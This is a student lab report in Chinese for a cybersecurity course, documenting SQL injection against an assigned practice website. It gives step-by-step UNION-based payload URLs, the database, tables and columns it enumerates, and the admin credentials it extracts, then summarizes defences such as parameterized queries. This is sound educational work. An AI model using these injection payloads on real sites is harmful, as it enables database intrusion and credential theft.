**《网络空间安全概论》实验报告**

|  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- |
| **姓名** | |  | | **年级** | | **2021级** |
| **学号** | |  | | **专业、班级** | | **计算机科学与技术01班** |
| **实验名称** | **实验四 SQL注入实验** | | | | | |
| **实验时间** | **2024.5.11** | | **实验地点** | | **DS3304** | |
| **实验成绩** |  | | **实验性质** | | **□验证性 □设计性 □综合性** | |
| 教师评价：  □算法/实验过程正确； □源程序/实验内容提交 □程序结构/实验步骤合理；  □实验结果正确； □语法、语义正确； □报告规范；  评语：  评价教师签名（电子签名）： | | | | | | |
| 一、实验目的  1. 学习并掌握SQL注入的基本原理和方法  2. 学习SQL注入的防范措施 | | | | | | |
| 二、实验项目内容  对以下网站进行SQL注入：  http://pu2lh35s.ia.aqlab.cn/  完成以下信息的获取：  1.数据库名称  2.数据库中的所有表的名称  3.每个表中的字段数量以及字段名  4.管理员用户密码  最后总结如何对SQL注入攻击进行防范。 | | | | | | |
| 三、实验设计  任何SQL是操作数据库数据的结构化查询语言，网页的应用数据和后台数据库中的数据进行交互时会采用SQL。而SQL注入是将Web页面的原URL、表单域或数据包输入的参数，修改拼接成SQL语句，传递给Web服务器，进而传给数据库服务器以执行数据库命令。如Web应用程序的开发人员对用户所输入的数据或cookie等内容不进行过滤或验证(即存在注入点)就直接传输给数据库，就可能导致拼接的SQL被执行，获取对数据库的信息以及提权，发生SQL注入攻击。 | | | | | | |
| 四、实验过程或算法  **1.判断注入点**  进入http://pu2lh35s.ia.aqlab.cn/网站，点击“点击查看新闻1”，发现url变为http://pu2lh35s.ia.aqlab.cn/index.php?id=1，由于输入的参数id为整形，猜测为数字型注入，且SQL语句为：select \* from table where id=1。    测试http://pu2lh35s.ia.aqlab.cn/?id=1’，SQL语句为：select \* from table where id=1’，页面出现异常。    测试http://pu2lh35s.ia.aqlab.cn/?id=1 and 1=1，SQL语句为：select \* from table where id=1 and 1=1 ，页面正常。    测试http://pu2lh35s.ia.aqlab.cn/?id=1 and 1=2，SQL语句为：select \* from table where id=1 and 1=2，返回数据与原始请求不同。    说明该网站存在SQL数字型注入漏洞。  **2. 判断字段数**  order by语句用于根据指定的列对结果集进行排序，字段数可以通过order by n 来判断。  测试http://pu2lh35s.ia.aqlab.cn/index.php?id=1 order by 1和测试http://pu2lh35s.ia.aqlab.cn/index.php?id=1 order by 2页面均显示正常。    测试http://pu2lh35s.ia.aqlab.cn/index.php?id=1 order by 3，页面显示错误。    当id=1 order by 1和id=1 order by 2时，页面返回与id=1相同的结果；而id=1 order by 3时不一样，故此处存在字段数量为2。  **3.判断回显点**  使用 union select联合查询继续获取信息。union 运算符可以将两个或两个以上 select 语句的查询结果集合合并成一个结果集合显示，即执行联合查询。需要注意在使用 union 查询的时候需要和主查询的列数相同，而我们之前已经知道了主查询列数为 2，接下来需要判断回显位置。通过在id=1之后添加and 1=2即可以屏蔽掉对原数据库的查询。  测试http://pu2lh35s.ia.aqlab.cn/index.php?id=1 and 1=2 union select 1,2    由此可以得到，回显点为2，回显位置就在红框处。  **4.查询相关内容**  **4.1数据库名称**  使用database()函数返回当前数据库的名称，在刚刚的回显点2处加入database()函数，得到数据库名称。  测试http://pu2lh35s.ia.aqlab.cn/index.php?id=1 and 1=2 union select 1,database()，获得数据库名称: maoshe。    **4.2数据库中的所有表的名称**  使用SQL语句：select table\_name from information\_schema.tables where table\_schema = 'maoshe'获取数据库中的表名。并使用limit修改第一个数字进行挨个遍历查询，比如查询第一个表名limit 0,1，查询第二个表名limit 1,1。  测试http://pu2lh35s.ia.aqlab.cn/index.php?id=1 and 1=2 union select 1, table\_name from information\_schema.tables where table\_schema = 'maoshe' limit 0,1，获得第1个表名admin。    测试http://pu2lh35s.ia.aqlab.cn/index.php?id=1 and 1=2 union select 1, table\_name from information\_schema.tables where table\_schema = 'maoshe' limit 1,1，获得第2个表名dirs。    测试http://pu2lh35s.ia.aqlab.cn/index.php?id=1 and 1=2 union select 1, table\_name from information\_schema.tables where table\_schema = 'maoshe' limit 2,1，获得第3个表名news。    测试http://pu2lh35s.ia.aqlab.cn/index.php?id=1 and 1=2 union select 1, table\_name from information\_schema.tables where table\_schema = 'maoshe' limit 3,1，获得第4个表名xss。    故获得的数据库中的表名: admin, dirs, news, xss  **4.3每个表中的字段数量以及字段名**  使用SQL语句：select column\_name from information\_schema.columns where table\_schema='maoshe' and table\_name='admin' limit 0,1查询数据库maoshe中表名为admin的第1个字段名。以此类推，查询每个表中的字段数量以及字段名。  测试http://pu2lh35s.ia.aqlab.cn/index.php?id=1 and 1=2 union select 1, column\_name from information\_schema.columns where table\_schema= 'maoshe' and table\_name='admin' limit 0,1，获取数据库maoshe中表名为admin的第1个字段名Id。    不断重复增加limit的偏移量即可得到所有字段（之后不再展示截图，对于不同表只需要对应改变表名即可）。  故最后得到的每个表中的字段数量以及字段名：  admin表有3个字段：Id, username, password  dirs表有1个字段: paths  news表有2个字段: id, content  xss表有3个字段: id, user, pass  **4.4管理员用户密码**  使用SQL语句：select username from maoshe.admin limit 0,1; 查询数据库maoshe中表名为admin的第1个用户名username。  测试http://pu2lh35s.ia.aqlab.cn/index.php?id=1 and 1=2 union select 1, username from maoshe.admin limit 0,1获取数据库maoshe中表名为admin的第1个用户名username为admin。    使用SQL语句：select password from maoshe.admin where username='admin' limit 0,1查询数据库maoshe中表名为admin，用户名username为admin的密码password。  测试http://pu2lh35s.ia.aqlab.cn/index.php?id=1 and 1=2 union select 1, password from maoshe.admin where username='admin' limit 0,1获取查询数据库maoshe中表名为admin，用户名username为admin的密码password为hellohack。    不断重复增加limit的偏移量即可得到所有用户名及其密码（之后不再展示截图）。  故最后得到的管理员用户名及其密码：  admin, hellohack  ppt领取微信, zkaqbanban | | | | | | |
| 五、实验过程中遇到的问题及解决情况  **问题：**union select联合查询语句使用错误  **解决：**union结果集中的列名总是等于union 中第一个 select 语句中的列名，所以联合查询前后的两个表，第一个表的字段数与第二个表的字段数必须相等。而且优先显示的是联合查询的第一个结果，需要利用SQL注入漏洞，屏蔽原数据库的查询内容，比如在SQL查询语句id=1之后加上and 1=2，使前半段语句为假，则不返回任何内容。 | | | | | | |
| 六、实验结果及分析和（或）源程序调试过程  对网站http://pu2lh35s.ia.aqlab.cn/进行SQL注入，实现对以下信息的获取。  1.数据库名称：maoshe  2.数据库中的所有表的名称，以及每个表中的字段数量以及字段名   |  |  |  | | --- | --- | --- | | **表名** | **字段数量** | **字段名** | | admin | 3 | Id, username, password | | dirs | 1 | paths | | news | 2 | id, content | | xss | 3 | id, user, pass |   3.管理员用户密码   |  |  | | --- | --- | | **usernam** | **password** | | admin | hellohack | | ppt领取微信 | zkaqbanban |   **SQL注入实验总结：**  1.原理  SQL注入漏洞的原理主要基于SQL语句的拼接和解析。当应用程序使用拼接的方式构建SQL语句时，如果未对用户输入进行严格的验证和过滤，攻击者就可以通过构造恶意的SQL语句，将其插入到正常的SQL查询中，从而改变原有的查询逻辑。当应用程序执行这些被篡改的SQL语句时，就会导致非预期的结果，甚至执行攻击者指定的恶意操作。  2.危害  （1）数据泄露：攻击者可以利用SQL注入漏洞，读取数据库中的敏感信息，如用户密码、银行账户等，导致用户隐私泄露。  （2）数据篡改：攻击者可以通过SQL注入漏洞，修改数据库中的数据，破坏数据的完整性和真实性。  （3）拒绝服务：攻击者可以通过构造大量的恶意SQL语句，对数据库进行高频率的访问和操作，从而耗尽系统资源，导致拒绝服务攻击。  3.防御  （1）输入验证与过滤：对用户输入进行严格的验证和过滤，确保输入数据的合法性和安全性。可以采用白名单验证、正则表达式匹配等方式对用户输入进行限制和过滤。  （2）参数化查询：使用参数化查询代替拼接SQL语句的方式，避免用户输入直接参与到SQL语句的构建中。参数化查询可以有效防止SQL注入攻击，提高系统的安全性。  （3）Web应用程序防火墙：部署Web应用程序防火墙（WAF），对输入的HTTP请求进行实时监控和过滤，识别和拦截恶意请求，防止SQL注入攻击的发生。  （4）数据库安全配置：合理配置数据库的安全策略，如限制数据库用户的权限、启用数据库防火墙、定期备份数据库等，提高数据库的安全性。 | | | | | | |